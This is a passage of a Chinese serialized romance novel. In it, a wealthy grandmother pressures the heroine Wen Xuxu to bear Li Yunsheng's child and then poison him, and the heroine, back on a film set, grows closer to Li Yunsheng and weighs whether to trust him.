黎云笙的奶奶……亲奶奶啊!为什么?为什么一个血脉相连的亲人,竟能如此冷静地谋划着孙子的死亡? 温栩栩的指甲深深抠进掌心,疼痛却丝毫无法缓解内心的震颤。 她抬起头,望着黎老太太那张被岁月刻满沟壑的脸,此刻那脸上竟没有一丝温度,仿佛谈论的不是人命,而是碾死一只蚂蚁般微不足道的事。 “这么久都不说话,难道是对我开的条件不满意?”黎老太太的声音依旧平静得可怕,仿佛刚才那句“毒死黎云笙”不过是随口一句再寻常不过的吩咐。 温栩栩浑身一震,强压下翻涌的恶心,攥紧手机的手指关节发白。 她清楚,此刻任何一丝犹豫都可能引发灭顶之灾。 呼吸急促间,她听见自己颤抖的声音:“没有不满意……我只是被老夫人您说的这一大笔钱吓到了。” 黎老太太端起茶盏,轻啜一口,茶水的热气模糊了她眼底的冷芒:“两亿,足够你一辈子安稳潇洒的生活。这笔钱,足以买下任何人的命,不是吗?”温栩栩的心口剧痛,仿佛被无形的手攥紧。 她蜷缩在椅子上,身体微微颤抖,声音带着颤音:“老夫人,我就是个俗人,您对我知根知底……但是我再笨也是有点脑子的。”她深吸一口气,强迫自己镇定下来,声音里带着一丝怯懦的试探:“黎云笙他再怎么说也是您的孙子,身上流着黎家人的血。您现在让我做这种事,我怎么知道您以后会不会因为我毒死黎云笙而让我偿命……” 说到最后,她瑟缩了一下,仿佛已经预见了自己悲惨的下场。 黎老太太放下茶盏,瓷盏与案几相碰,发出清脆的声响。 她忽然轻笑一声,那笑声却让温栩栩如坠冰窟:“你不用担心,我既然决定跟你合作自然是把你当自己人,当然……我让你毒死黎云笙还有个前提条件——在他死前,你必须怀孕,为我们黎家生下孩子。” 这句话仿佛一记重锤,狠狠砸在温栩栩的头顶。她惊愕得说不出话,嘴唇颤抖,大脑瞬间空白。 第1215章 人命不值钱 生下黎家的孩子……黎老太太的真正目的,竟是借此掌握黎氏的权力! 一个奶娃娃做继承人,自然是能当好一个听话的傀儡。 温栩栩只觉得浑身发寒,血液仿佛凝固。 她即便曾算计过人,却从未想过有人会狠毒到这等地步,将所有人的命运都当作棋子般算计在内。 “老夫人的意思是……”她艰难地挤出这几个字,声音沙哑得仿佛不属于自己。 她枯槁的手指抬起她的下巴,迫使她对视:“黎氏不能落在外人手里。黎云笙死后,需要一个黎家的血脉继承家业。而你,温栩栩,就是最合适的人选。”她的眼神如毒蛇般缠绕着温栩栩,声音轻得像在诉说一个再寻常不过的请求,可每个字都如淬毒的利箭:“这个孩子,会成为黎氏的新主人。而你,作为他的母亲,自然能享受荣华富贵。” 温栩栩浑身血液瞬间凝固。 “您……您为什么要这样对他?”她忽然抬起头,“他毕竟是您的亲孙子……” 黎老太太的瞳孔深处闪过一丝几不可察的痛楚,但很快被更深的恨意吞噬:“这不是你该知道的事。” 温栩栩即便曾算计过人,却从未想过有人能狠毒到这般境地。 面前的人将亲孙子的性命视作草芥,将整个家族的命运当作棋盘上的棋子,甚至将所有人的未来都裹挟进一场血腥的阴谋之中。 旁人都说豪门家族是非多,腌臜事如藤蔓般盘根错节,她曾以为王家李家的那些肮脏手段已足够令人作呕,可黎家的深渊却比她想象的更加可怕。 人命在黎老太太眼中,竟如蝼蚁般不值钱? 她心中质问:这世间还有法度吗? 可转念一想,能做出这般事的人,眼里又怎会有法? 她那样的身家,背后靠着盘踞商界数十年的黎家,一张支票便能驱使无数人替她卖命。 她这样的小人物都能被两亿收买,更遑论其他人?黎老太太的权势与狠辣,早已超越了世俗规则的桎梏。 温栩栩的沉默在书房里蔓延,空气仿佛凝固。 黎老太太皱眉,眉间褶皱如刀刻般深刻,眼底的冷芒愈发锐利,沉沉的威压如泰山般压向温栩栩。 她缓缓开口,声音如淬毒的冰锥:“温栩栩,你的意思呢?”温栩栩喉间发紧,恐惧如潮水般涌上心头,她强压下颤抖,声音却依旧带着难以掩饰的颤栗:“抱歉老夫人……我被您说的这些话吓到了。” 黎老太太的耐心已至极限,她猛地一拍案几,茶盏应声而颤,茶水溅出杯沿:“我只问你答不答应!”温栩栩的心跳几乎停滞,她清楚,此刻的回答将决定她的生死。 她攥紧双手,指甲深深掐入掌心,试图用疼痛来驱散蔓延的恐慌。黎老太太手中转着一串佛珠,佛珠碰撞的声响在寂静中格外刺耳,她微闭着眼眸,语气轻描淡写,仿佛在谈论一件再寻常不过的小事:“事成之后,你能拿到两亿,还能拿到黎氏集团的股份,这辈子都能吃穿不愁。” 温栩栩被黎老太太这毫不在乎的语气激得浑身发抖,愤怒与恐惧在胸腔中翻涌。 她深吸一口气,强压下情绪,攥紧的手微微松开,声音却依旧带着颤抖:“如果我真的生下黎云笙的孩子,帮您做成这件事……是不是真的能荣华富贵,安享一生?”黎老太太嘴角勾起一丝冷笑,那笑意却不达眼底,仿佛面具上的一道裂痕。 她毫不意外温栩栩会问这话,毕竟人性在生死与利益面前,向来赤裸得令人心惊。 “当然。”她吐出这两个字,声音如金石相击,冰冷而笃定。 温栩栩的唇角颤抖,她忽然抬起头,目光直视黎老太太,眼中闪烁着孤注一掷的决绝:“如果我不答应呢?”此言一出,书房的气氛骤然降至冰点。 黎老太太的目光凉薄如寒刃,直直刺向温栩栩,仿佛要将她千刀万剐。 她缓缓睁开双眼,眸中寒意森然,声音如毒蛇吐信:“你可以试试看你还能活多久。”温栩栩浑身一震,冷汗浸透后背。 她清楚,黎老太太并非在恐吓,而是陈述一个残酷的事实。 她不过是个挣扎在泥潭中的小人物,而对方是掌控着无数人命运的权贵,碾死她如碾死一只蚂蚁般轻松。 跟黎老太太谈这些,断没有第二种选择。 温栩栩扯了扯唇角,那笑容比哭还要难看,仿佛灵魂被生生撕裂。 她垂下头,声音沙哑如被砂纸磨过:“我会努力怀上黎云笙的孩子,帮老夫人做事的。”黎老太太似有些疲惫地嗯了声,佛珠转动的声响渐缓。 “温栩栩,往后做任何事前都想想清楚你是谁的人。”黎老太太这话里面带着明显的嘲意。 温栩栩面色苍白如纸,嘴唇颤抖着挤出几个字:“我知道的,谢谢老夫人提醒。”黎老太太松开手,温栩栩跌坐在地,仿佛被抽去了所有力气。 她望着黎老太太的背影,那背影在暮色中显得格外高大,如一座无法逾越的山峰,压得她喘不过气来。 “行了,你回去吧。”黎老太太的声音从远处传来,冷漠得如同驱逐一只无用的蝼蚁。 温栩栩踉跄着站起身,双腿发软,几乎无法支撑身体。 她扶着墙一步步挪向门口,每一步都像踩在刀尖上。 走出书房时,暮色已浓,秋风卷起落叶,打在她的脸上,带着刺骨的寒意。 她回头望去,老宅的书房灯火通明,那扇雕花木门在灯光下泛着幽光,仿佛一张择人而噬的血盆大口。 她知道,从这一刻起,她的人生已被彻底改写,要么成为黎老太太手中的利刃,毒杀黎云笙,诞下傀儡继承人,要么,被碾碎在黎家的权势漩涡中,尸骨无存。 她攥紧手中的锦盒,锦盒里装着那瓶幽蓝的毒药,如一条吐信的毒蛇。 温栩栩行色匆匆地离开老宅,脚步踉跄如踩在棉花上,每一步都带着仓皇的逃窜感。 第1216章 工具 暮色沉沉,冷风呼啸着卷起落叶,打在她单薄的身影上,仿佛要将她彻底吞噬。 温栩栩不敢回头,生怕那扇雕花木门会突然再度打开,吐出黎老太太毒蛇般的凝视。 直到踏入车内,车门重重关上的刹那,她才仿佛与那吃人的老宅隔绝开来,可心口却依旧被无形的恐惧攥紧,几乎喘不过气。 她瘫坐在驾驶座上,浑身发冷,指尖颤抖着启动引擎。车内暖风呼呼吹着,却丝毫驱不散她体内蔓延的寒意。她捂住脸,喉咙里溢出一声压抑的呻吟,仿佛要将五脏六腑的苦涩都吐出来。 黎老太太的狠毒,远超出她的想象。 哄骗她为黎家生下孩子,这哪是什么恩赐?分明是一把将她推入深渊的利刃!她攥紧方向盘,指甲深深掐入掌心,疼痛却丝毫无法缓解内心的震颤。 “她说给我钱和股份……就真的会给吗?”她喃喃自语,声音沙哑如被砂纸磨过。 黎云笙一死,黎氏大权尽归黎老太太,她这个“工具”还有何价值? 黎氏下一任继承人的母亲出身小门户,黎老太太会放心?她不会担心自己日后与孩子联手图谋家产?不会担心孩子长大后查到真相,与她这个生母一同反噬? 答案不言而喻。 温栩栩的眸光愈发晦暗,仿佛被泼了墨汁般沉甸甸地坠着。 她太清楚了,黎老太太绝不会容她活着。 只要孩子降生,她的任务便已完成,这颗“炸弹”必须被亲手拆除。 下毒、车祸、火灾、自杀、落水……无数种死法在她脑海中闪过,每一种都带着黎老太太冷酷的算计。 她攥紧衣角,指尖泛白:“若我没猜错,孩子落地之日,便是我的死期。” 绝望如潮水般将她淹没,她蜷缩在座椅上,身体微微颤抖,仿佛被抽去了所有力气。可就在窒息般的黑暗中,一丝微光却悄然浮现。她抬起头,望着车窗外飞速掠过的霓虹,思绪如潮水般翻涌。 她能选谁呢?黎老太太是编织噩梦的毒蜘蛛,而黎云笙……却是她生命里唯一的光。 哪里还需要选?一个要将她碾碎成灰,一个却曾在她最狼狈时伸出手。 她深吸一口气,强迫自己镇定下来,指尖在方向盘上敲出急促的节奏,仿佛在叩问命运。 比起黎老太太,黎云笙是一个值得相信的男人。 她攥紧拳头,指甲掐入掌心,疼痛让她勉强保持清醒。是的,黎云笙或许也有他的算计,但他至少不会将人命视作草芥,更不会用亲人的血来铺就权力之路。 她想起他处理事务时的沉稳,面对危机时的冷静,还有那一次……他挡在她身前,替她挡下了一场险些致命的危机。那一刻,他的背影仿佛一座山,让她在绝望中找到了片刻的依靠。 温栩栩的眸光渐渐坚定,她发动车子,油门踩到底,仿佛要将内心的恐惧都甩在身后。 车灯划破夜色,照亮前路,也照亮了她眼底的一抹决然。她知道,这条路注定艰险,甚至可能赔上性命,但总比被黎老太太当作棋子碾碎要好。 她必须赌一把,赌黎云笙的人性,赌他们之间尚存的那一丝微弱的信任。 “黎云笙……”她低声念着这个名字,仿佛在咀嚼着最后一根救命稻草。唇角微微勾起,那弧度却带着孤注一掷的悲壮。 她清楚,从答应黎老太太的那一刻起,她便已身处悬崖边缘,但此刻,她选择向那唯一的光亮伸出手去。哪怕前方是万丈深渊,她也要拼尽全力一搏。 车窗外,霓虹如织,城市喧嚣如潮水般涌来,却丝毫无法掩盖她内心的轰鸣。 她握紧方向盘,目光如炬,仿佛已下定了某种决心。 她知道,接下来每一步都需如履薄冰,但她已无路可退。 黎老太太的毒刃悬在头顶,而她唯一的生机,或许就藏在黎云笙的掌心。 这个时间温栩栩很想听一听黎云笙的声音,但已经接到了剧组那边的拍摄信息,黎云笙也因为一些工作需要去邻省,这消息还是韩城带给她的。 温栩栩也不想显得自己特别粘人,便老老实实的在剧组拍戏,每天除了拍戏就是回酒店休息,根本不会去想其他的。 …… 剧组片场的青砖小院笼罩在细碎的雨丝中,檐角垂落的雨帘如纱幔般摇曳,将时光染上一层朦胧的旧色。 温栩栩一袭素白色旗袍立在廊下,仿佛从民国烟雨画卷中走来的清冷仙子。 旗袍的料子并非寻常绸缎,而是泛着柔光的丝绉,如水波般流淌的纹理在周身漾开,每一道褶皱都似精心雕琢的笔触。 领口与袖边缀着极细的银丝滚边,在氤氲的光线里若隐若现,恰如她整个人高雅得让人不敢轻易靠近,却又忍不住被那清冷气质所吸引。 她长发绾成古典的髻,几缕碎发随意垂落颈侧,鬓边斜簪一朵素白茉莉,与旗袍的色泽相映成趣。耳垂上坠着两粒珍珠耳坠,圆润的光泽随她转头时轻轻晃动,如月光碎落。 她的妆容极淡,眉如远山含黛,唇似点绛轻染,唯有那双眸子,澄澈如秋水,却泛着不易察觉的疏离。 此刻,她正与墨澜饰演的游远对戏,周身的气质瞬间凝成戏中人物的灵魂。 墨澜饰演的游远眉目间带着几分书卷气的隐忍。 两人在廊下对峙,游远欲言又止,温栩栩却只垂眸凝视手中茶盏,指尖轻轻摩挲杯沿,仿佛那青瓷的凉意能压住心底翻涌的情绪。 忽地,她抬眼望向游远,眸中冷光骤现,却又在瞬间化作一片汪洋的悲悯,声音如碎玉泠泠:“游先生可知,这茶凉了,便再难续从前滋味。”话音未落,一滴泪珠已悄然坠入茶盏,溅起微小的涟漪。那泪痕晶莹,却似带着千钧重量,压得游远怔在原地,也压得片场众人心头一颤。 不远处,黎云笙倚在斑驳的朱漆门框上,目光如寒潭般凝注在温栩栩身上。 第1217章 你好乖好可爱 他向来以冷峻著称,此刻眉峰微蹙,眸中凉意未散,却已悄然掺进一丝不易察觉的波动。温栩栩的每一句台词,每一个细微的表情转换,都似一根无形的丝线,轻轻牵动他的心神。 当看到她抬眸间那瞬间的悲悯与决绝,他瞳孔微微收缩,睫毛在眼睑投下细密的阴影,仿佛连呼吸都放轻了几分。 随着剧情推进,温栩栩的情绪愈发浓烈。她转身背对游远,肩头微微颤抖,压抑的呼吸声在寂静的片场清晰可闻。 忽地,她猛然回身,眼中燃起灼灼烈火,却又在触及游远目光的瞬间熄灭,化作一片死寂的灰暗。 那情绪的跌宕起伏,如潮水般汹涌而来,又无声退去,将女主角眼底的挣扎与绝望演绎得淋漓尽致。 黎云笙的眸光,也随着她的表演而逐渐变化。凉意如春冰消融,眼底的冷硬线条被一种温润的柔意悄然取代。 他凝视着她,目光仿佛穿透了戏中人的悲欢,直抵她灵魂深处。那柔意如春水初生,带着几分惊诧,几分动容,更藏着几分自己未曾察觉的怜惜。 温栩栩的旗袍在转身时拂过青砖地面,发出细微的簌簌声,似在低语着角色的心事。 她抬手抚鬓边茉莉,指尖划过花瓣的刹那,那抹素白竟与她的清冷气质相融,仿佛连花都染上了她的孤寂。 黎云笙的视线,此刻已彻底被她的身影攫住。 他看着她因情绪激动而微微泛红的眼角,看着她紧抿的唇线透出的倔强,看着她旗袍下纤细却挺直的脊梁,那分明是一个演员对角色灵魂的极致诠释,也是一个女子在戏中绽放出的灼灼光华。 不知何时,雨停了。 阳光穿透云层,斜斜洒在温栩栩身上,为她素白的旗袍镀上一层淡金的光晕。她与墨澜的对手戏渐入高潮,角色的隐忍与决绝在温栩栩的演绎下愈发鲜明。黎云笙的眸光,此刻已彻底软化,柔意如春水漫过冰面,深邃而温柔。 他望着她,仿佛看见戏中人与戏外魂的交织,看见她以演技为桥,将角色的悲欢与自己的人生悄然相连。 那柔意中,竟还藏着几分自己未曾察觉的悸动,如新芽破土,悄然生长。 片场静得落针可闻,唯有温栩栩与墨澜的台词在廊间回荡。 当这场戏落幕,温栩栩垂下眼帘,长睫轻颤,似卸下角色重担后的疲惫。黎云笙却仍凝望着她,眸中的柔意未褪,反而愈发清晰。 这场长戏终于拍摄完毕,导演也在第一时间喊卡。 温栩栩恍惚了一瞬,也没有立刻从角色中出来,明显还带着点角色身上那种自带忧郁的冷淡的气息,他本打算休息下继续拍下后面一场戏,结果下一秒就听到剧组工作人员的声音。 “温老师,休息室有人在等您。”工作人员的声音带着一丝不易察觉的暧昧笑意。 温栩栩心头一跳,眼底瞬间漾开一片星光。 一定是黎云笙! 她几乎要哼起小曲,脚步轻快如燕,朝着休息室的方向飞奔而去。 高跟鞋敲击地面的声响急促而欢快,仿佛她此刻雀跃的心跳。 推开门的那一刹那,休息室内暖黄的灯光倾泻而下,映出沙发上那道熟悉的身影。 黎云笙坐在那里,双腿交叠,姿态慵懒而矜贵。 他抬眸看向她,一贯冷冽的眼底此刻竟罕见地少了锋芒,反而氤氲着一层淡淡的柔光。 温栩栩的心猛地一颤,仿佛被什么柔软的东西轻轻撞了一下,她再也按捺不住,直接飞扑过去,整个人如同树袋熊般挂在他身上,双腿顺势盘上他的腰,双手紧紧搂住他的脖颈。 “我今天超棒的!”她在他耳边兴奋低语,温热的气息喷在他耳廓,带着甜丝丝的香气。 嗯,的确超级棒,演的很好,他都看到了。 黎云笙的喉结不自觉地滚动了一下,手臂却稳稳环住她乱晃的腰肢,以防她滑落。 他低头凝视她因激动而泛着红晕的脸颊,嘴角微微上扬,声音却带着一丝克制:“我看到了。”似觉得这样的回答太过简短,他顿了顿,又补充道,“很棒。” 温栩栩却不满地晃了晃他的肩膀,撒娇道:“那不行,‘很棒’这两个字可配不上我的表演!” 她胆大包天地凑近,鼻尖几乎要蹭到他的鼻尖,晶亮的眼眸里满是狡黠,“要夸得再肉麻一点!” 现在的温栩栩,虽然还是穿着那件素色的旗袍,但身上那股子忧郁气息完全没了,只因黎云笙就彻底出戏了。 黎云笙的呼吸微滞:“特别棒?”温栩栩噗嗤一声笑出来,额头抵着他的额头,两人的呼吸交缠在一起,眼神都变得黏腻而缠绵。 她凑得更近,声音压低,带着丝丝蛊惑:“你好乖好可爱……” 黎云笙的瞳孔猛地收缩,向来冷静自持的他,此刻竟被这突如其来的直白夸赞搅乱了心神。 他瞪着她,满脸不悦,可眼底却分明藏着几分无奈与纵容。 温栩栩笑得眉眼弯弯,趁他愣神的瞬间,突然凑上去在他唇上啄了一下,蜻蜓点水般的触碰,却仿佛点燃了某种隐秘的火苗。 黎云笙的喉结再次滚动,危险地挑眉,手臂猛地收紧,将她整个人压向自己,低头擒住她喋喋不休的唇,加深了这个吻。 黎云笙在邻省出差的时间不短,温栩栩也是好几天没有见到他了,而且剧组拍摄任务也多,所以她确实是有点想念黎云笙了。 温栩栩被亲了个够,唇齿间弥漫着黎云笙清冽的气息,她瘫软在他肩头,有气无力地哼哼,脸颊绯红如霞。手指却不安分地玩起他的袖口,指尖摩挲着他衬衫上精致的纹路。 不知是哪儿来的大力,她猛地一揪,竟硬生生扯下了一颗袖扣。 黎云笙:“?”他愣住了,低头看向空荡荡的袖口,又看向她手中那颗银质袖扣,眉峰微挑,带着一丝无奈与好笑。 温栩栩攥着那枚袖扣,如获至宝,放在嘴边亲了亲,声音里满是得意:“阿笙的袖口都是甜的!”说罢,她又开始揪另一颗袖扣,这次动作更熟练,一揪一个准。 第1218章 喜欢你这样的假正经 她将两颗袖扣凑到一起,跟两个小圆人似的碰了几个头,嘴里面还配着音“啾啾啾”,活像在玩过家家。 玩起来没个够,她孩子气地笑着,眉眼弯弯,整个人在他怀里扭来扭去,发丝蹭得他脖颈发痒。 黎云笙由着她闹,眼底的无奈逐渐被宠溺取代。他伸手捏了捏她红扑扑的脸颊,声音带着一丝纵容的沙哑:“玩够了?” 温栩栩这才停下,把袖扣郑重地收进口袋,表情突然变得严肃义正言辞,仿佛刚才那个嬉闹的人不是她一般:“我觉得我表现的这么棒,你必须奖励我,这是对我的鼓励!” 黎云笙挑眉,嘴角噙着一抹玩味的笑意:“奖励你什么?”温栩栩眼睛一亮,立刻坐直身子,双手托腮,眨巴着眼睛期待地看着他。 黎云笙却突然凑近,热气喷在她耳畔,声音低沉而暧昧:“要不要猫咪耳朵和尾巴?” 温栩栩:“??”她目瞪口呆,脸上写满了震惊与难以置信。 她挠挠头发,罕见地面皮发红,半晌才支支吾吾道:“嗨呀,玩这么野的嘛……你要喜欢,也是可以的。” 黎云笙:“……”他哑然失笑,眼底的戏谑更浓,心中却暗自感叹:是他小看温栩栩了。 这小女人,分明比他还胆大,什么话都敢说,什么事都敢做。 温栩栩见他沉默,眼珠一转,突然扑进他怀里,双手环住他的腰,声音软糯如撒娇的猫咪:“你故意逗我!” 黎云笙的胸膛微微震动,笑声从喉间溢出。他 伸手抚上她的发顶,轻轻揉了揉,声音带着几分宠溺的无奈:“谁让你先撩我的?” 温栩栩闻言,仰头瞪他,眼眸里却盛满了笑意:“那你到底要不要奖励我?说真的,我今天演的特别特别好。” 黎云笙低头凝视她,目光深邃如墨。他忽然将她打横抱起,大步走向休息室里的沙发,将她轻轻放下,自己则半压在她身上,两人的距离近得能感受到彼此的心跳。 他指尖抚过她微肿的唇瓣,声音沙哑而危险:“我跟导演请了假,明天跟我回去,你自己去拿奖励?” 温栩栩的心跳陡然加快,脸颊更红了。 虽然不知道黎云笙说的是什么奖励,但温栩栩就是觉得这可能是一种暗示。 她咬着下唇,眼眸水汪汪地看着他,声音带着一丝颤抖:“你……认真的?” 黎云笙轻笑,低头在她唇上轻啄了一下:“当然。” 温栩栩笑了下,下一秒像只灵巧的猫儿,从黎云笙修长的腿上跳下,动作轻盈得仿佛不带一丝重量。 她发丝间还沾着方才被他揉乱时落下的几缕碎发,随意地披散着,泛着柔光。而她手里工作人员递来的巧克力静静躺在掌心,银箔包装泛着微光,她指尖灵巧地撕开包装,醇厚的可可香气瞬间弥漫开来,萦绕在鼻息间。 她眯起眼睛,舌尖卷住一小块巧克力,浓郁的滋味在唇齿间化开,像春日里最缠绵的蜜。 她满足地舔了舔唇畔,转身重新跨坐在黎云笙腿上,双腿自然地环住他劲瘦的腰身,双手勾住他的脖颈,声音裹着甜腻的尾音,带着几分诱哄的意味:“长官,要接一个甜甜的巧克力口味的吻吗?” 黎云笙的喉结微微滚动。她近在咫尺的眉眼染着狡黠,唇瓣上还沾着一点巧克力碎屑,像雪地里初绽的红梅,泛着诱人光泽。 他眸色渐深,喉间溢出一声低哑的“唔……”,却并未回答。温栩栩还未来得及继续说话,便被他猛然扣住腰身,迎面而来的吻带着不容拒绝的力道,将她未尽的话语尽数吞没。 温热的呼吸交织,巧克力的甜香在唇齿间流转,像一场突如其来的甜蜜风暴。黎云笙的掌心扣住她后脑,指尖穿过她柔顺的发丝,力道温柔却不容挣脱。 温栩栩心中像是有无数泡泡“噗噗”地冒了出来,甜丝丝的,连耳尖都染上了淡淡的粉色。 她不由自主地攀紧他的脖颈,回应着他的吻,仿佛整个世界都在这方寸之间,只剩下彼此急促的心跳与缠绵的呼吸。 一吻结束,温栩栩浑身发软,像被抽去了骨头般瘫在他怀中,连指尖都泛着酥麻的颤意。 她懒懒地倚在他胸膛,听着他有力的心跳,嘴角勾起一抹满足的笑意。 黎云笙却像是突然想起了什么,面色略沉,指尖轻轻捏住她下巴,声音带着几分不容置疑的冷意:“离墨澜远一些。” 温栩栩怔了怔,眼中浮起一丝不解。 她微微撑起身体,歪着头看他,睫毛轻颤:“墨老师对我很友好啊,一直在帮我说话呢。上次那场雨戏,他还把自己的外套借给我挡风……”她声音软糯,带着几分无辜的辩解,却不知这话在黎云笙听来,更像是墨澜的刻意接近。 黎云笙的面色愈发冷峻,眉峰微蹙。 他冷笑一声,面不改色地吐出两个字:“他骚。” 温栩栩瞪大了眼睛,“?”字卡在喉咙里,满脸震惊。 黎云笙却像是打开了话匣,语气愈发犀利:“他哥是骚狐狸,整日招蜂引蝶。他倒好,学了个十成十,还多了几分孔雀开屏的做派,骚孔雀。”他边说边用指尖点了点她鼻尖,力道轻柔,像是警告,又像是带着醋意。 温栩栩被这突如其来的“指控”逗得笑出声来,她眉眼弯弯,故意凑近他耳边,声音低柔却带着调侃:“好啦好啦,我才不喜欢骚的呢,我就喜欢你这样的……”她尾音拖长,指尖在他胸膛画着圈,黎云笙的呼吸猛地一滞。 却听她笑眯眯地继续,“喜欢你这样的假正经!” 被“夸”假正经的黎云笙眸色一沉,眼底却浮起一丝危险的笑意。 他忽然扣住她腰身,一个翻身将她压在身下,动作间带着不容拒绝的强势。 温栩栩惊呼一声,后背抵在片场柔软的沙发垫上,看着他俯身逼近的脸,心跳猛地加快。 他鼻尖几乎要蹭到她脸颊,温热的呼吸洒在她颈间,声音低哑得像是裹着砂砾:“假正经?嗯?” 第1219章 她见过最特别的存在 温栩栩的心跳如擂鼓,她看着他近在咫尺的眉眼,那平日里冷峻的轮廓此刻染着情欲的暗色,竟显得格外诱人。 她下意识咽了咽口水,强装镇定地伸手抵住他胸膛,声音带着几分颤抖的娇嗔:“你……你做什么?”黎云笙却并未回答,只是惩罚似的轻咬她耳垂,舌尖扫过她敏感的耳廓,引得她浑身一颤。 “说,谁假正经?”他声音里带着笑意,指尖却沿着她腰线缓缓游走,所到之处,温栩栩的肌肤泛起一阵酥麻。 她咬住下唇,眼中泛起一层水雾,却仍倔强地别过头:“你……你就是假正经!”黎云笙眸色愈发暗沉,他忽然低头封住她喋喋不休的唇,吻得愈发深入,像是要将她所有的倔强都碾碎在这缠绵的温柔里。 温栩栩彻底溃败了。 他的吻如潮水般汹涌,带着不容抗拒的力道,将她所有的思绪都搅成一片混沌。 她攀紧他的脖颈,指尖深深陷入他肩头的衬衫,喉间溢出细碎的呜咽,像是求饶,又像是难耐的娇吟。 黎云笙却并未放过她,他惩罚似的在她唇上轻咬一口,声音沙哑得惊人:“还敢说?” 温栩栩眼泪汪汪,泪水在眼眶里打转,却倔强地不肯落下。她哽咽着,声音带着哭腔:“我错了我错了……好哥哥我错了……” 那一声“好哥哥”像是蜜糖,瞬间融化了黎云笙心底最后一丝冷硬。 他动作一顿,看着她泛红的眼角,心中涌起一阵怜惜。 他低头轻吻她眼角的泪珠,声音温柔得能滴出水来:“下次还敢不敢?” 温栩栩拼命摇头,像只受惊的小兽,蜷缩在他怀中。黎云笙满意地轻笑,指尖轻轻抚过她发烫的脸颊,眼底的醋意早已消散,取而代之的是一片温柔。 他将她揽入怀中,声音带着几分无奈:“自作孽。” 暮色愈发浓重,两人的身影在夕阳中交叠,仿佛一幅缱绻的画卷。 温栩栩瘫在他怀中,连一根手指都不想动了,仿佛真的被“欺负”得一滴都没有了。 男人此刻正用指尖缠着她的一缕发丝,眼底藏着化不开的宠溺与占有。 自作孽又如何?他甘之如饴。 两人的身影在暖黄的灯光下交叠,暧昧的气息在休息室里弥漫开来,仿佛连空气都变得粘稠而甜蜜。 不过也确实只是这么腻歪了一会儿,因为接下来还有戏,黎云笙请了明天的假,但今天的戏还是要继续拍的。 温栩栩从他怀里钻出来靠在沙发上看剧本,整个人此刻都像是一只慵懒靥足的红毛狐狸,而她身旁的男人则圈着她的腰在一旁看文件,这个时间都在工作。 温栩栩指尖无意识地摩挲着剧本边缘,目光却落在窗外淅淅沥沥的雨幕上。 这场雨下的有点早了,好在下午的几场戏都是室内的,并不会有什么影响。 雨滴在玻璃上蜿蜒而下,像她此刻纷乱的心绪。她知道自己此刻的状态不对劲,甚至称得上危险。 从被黎云笙带进这个光怪陆离的娱乐圈开始,那位严厉的走秀老师就曾警告过她:“记住,别让自己成为男人盘中的点心。”她记得自己当时点头如捣蒜,信誓旦旦地说会清醒。 她自己也一直告诉自己要清醒不要沉沦。 但不可否认她清醒的同时又是个不折不扣的恋爱脑。 她能明白自己是在清醒的同时沉沦,一点点的沉浸其中。 现实像一张温柔的网,将她一点点裹进名为黎云笙的漩涡里。 她是清醒的。 清醒得能精准剖析黎老太太的每一句话背后的深意。 那位优雅得体的老太太,笑意里藏着刀锋,对她看似关怀备至,实则不过是看中了她的利用价值,一个能暂时拴住黎云笙心的棋子,一颗未来可以随时丢弃的弃子。 她能预见自己若继续深陷,终将被卷入豪门争斗的泥潭,成为牺牲品。 可清醒的另一面,是她无法克制的沉沦。 每当黎云笙那低沉的嗓音在耳边响起,每当那双深邃的眸子专注地凝视着她,她便像是被蛊惑般,心甘情愿地坠入那名为暧昧的深渊。 她能清晰地感知到这种矛盾的状态。 温栩栩此刻一边在深夜反复告诫自己:“温栩栩,你该抽身了。”一边又在黎云笙靠近时,心跳如擂鼓,连指尖都泛起细微的颤栗。 她甚至拍戏的时候知道黎云笙在现场后,会在对戏间隙,忍不住偷看他站在监视器后的身影,挺拔如松,眉宇间透着沉稳的疏离,却又会在她望向他的瞬间,唇角勾起一抹温柔的笑。那笑像是有魔力,总能轻易搅乱她所有理智的防线。 她忍不住想,万一呢? 万一黎云笙并非只是逢场作戏,万一他眼底的温柔并非伪装,万一他真如传言中那般,是上流圈层里难得的清醒与君子?她知道这种念头有多危险,可她就是忍不住去赌,赌那一丝可能。 并非她天真到自我安慰。黎云笙的优秀,是她亲眼所见,亲身体会。 从入圈开始,他便是她见过最特别的存在。 黎云笙是什么身份?黎氏已经认定的继承人,真正上流圈层的名流贵族,甚至有些自诩上流的人在黎云笙面前也只能低下他们所谓的高贵的头颅。 可她却见过他另一面,在后台教她走秀,会注意到她高跟鞋磨破的脚后跟,默默递上一双备用的软鞋,那份细致与体贴,让她心头一颤。 他从未用权势压人,从未以身份强迫。甚至在她某日心血来潮,突然扑进他怀里索吻时,他怔愣片刻,最终却只是温柔地环住她,任她胡闹。而当他被她突然推开,听到她决绝地宣布“结束这段暧昧”时,他竟只是沉默片刻,然后平静地说:“这是你想要的结果吗?” 他配合她的任性,尊重她的选择,哪怕那选择在他看来或许幼稚如儿戏。 这样的男人,若真想将她留在身边,何须费力?只需稍微展露权势,或是施以手段,她便可能无法挣脱。 第1220章 眼神里分明盛满了她 她见过他处理家族事务时的模样,冷静如冰,条理清晰,仿佛一切尽在掌握。也见过他面对竞争对手的刁难时,不疾不徐地化解,沉稳得让人心安。 他像是山巅的松,风雨不动,却又在看向她时,眼底泛起涟漪。 她曾不止一次在深夜反复咀嚼这些细节。 黎云笙的理智与沉稳,像是一把双刃剑。 一方面让她安心,觉得他并非轻浮之人,另一方面,却又让她不安,他是否太过清醒,清醒到连感情都能精准计算? 可每当她陷入这种自我怀疑,记忆里又会浮现他为她拂去肩头落叶的温柔,或是他低头为她系鞋带时的专注。 那些瞬间,他的眼神里分明盛满了她。 圈中传闻,黎云笙身边向来干净。除却那位青梅苏婉,再无人能近他身。 可苏婉与他之间,更像是一种自幼形成的默契,而非男女之情。 而她,一个初入圈的小演员,竟能与他纠缠至今,这本身便是一种特殊。 她并非不知晓自己的身份,不过是黎老太太眼中的一枚棋子,一个暂时能牵制黎云笙的工具。 可黎云笙对她的态度,却远超一枚棋子的待遇。 他会记得她喜欢的咖啡口味,会在她拍摄夜戏时默默等在一旁,直到她收工。甚至在她被媒体恶意抹黑时,他第一时间压下负面新闻,却从未以此要求她回报。 这种种细节,像是一根根细丝,缠住了她的心。她知道自己在赌,赌黎云笙的真心,赌自己能成为那个例外。 可赌局的风险,她比谁都清楚。黎老太太的手段她见识过,商场的残酷她也略有耳闻。 若她输了,便是粉身碎骨。可她还是忍不住,忍不住在每次他对她温柔时,内心涌起甜涩交织的期待。 此刻,窗外的雨愈发大了。 